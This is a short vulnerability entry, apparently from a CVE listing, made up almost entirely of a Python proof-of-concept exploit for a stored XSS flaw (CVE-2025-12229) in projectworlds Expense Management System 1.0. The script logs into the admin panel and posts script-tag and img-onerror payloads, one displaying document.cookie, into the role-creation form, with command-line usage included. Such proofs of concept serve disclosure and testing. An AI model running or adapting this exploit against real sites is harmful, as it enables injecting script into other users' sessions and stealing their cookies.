CVE-2025-12229 | projectworlds Expense Management System 1.0 角色页面存储型XSS漏洞

import requests import sys # CVE-2025-12229 PoC - Stored XSS in projectworlds Expense Management System 1.0 # Target: /public/admin/roles/create def exploit_xss(target_url, username, password): """ Exploit Stored XSS vulnerability in Expense Management System 1.0 Parameters: target_url: Base URL of the vulnerable application username: Admin username password: Admin password Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return False print("[+] Successfully logged in as admin") # Step 2: Inject XSS payload in roles/create page roles_url = f"{target_url}/public/admin/roles/create" # XSS payload - can be customized based on target xss_payload = "<script>alert('XSS Vulnerability Detected - CVE-2025-12229')</script>" roles_data = { 'role_name': xss_payload, 'description': '<img src=x onerror="alert(document.cookie)">', 'submit': 'Create' } response = session.post(roles_url, data=roles_data, timeout=10) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] The malicious script will execute when anyone views the role") return True else: print(f"[-] Injection failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://localhost:8080 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] CVE-2025-12229 PoC - Expense Management System XSS") print(f"[*] Target: {target}") exploit_xss(target, user, pwd)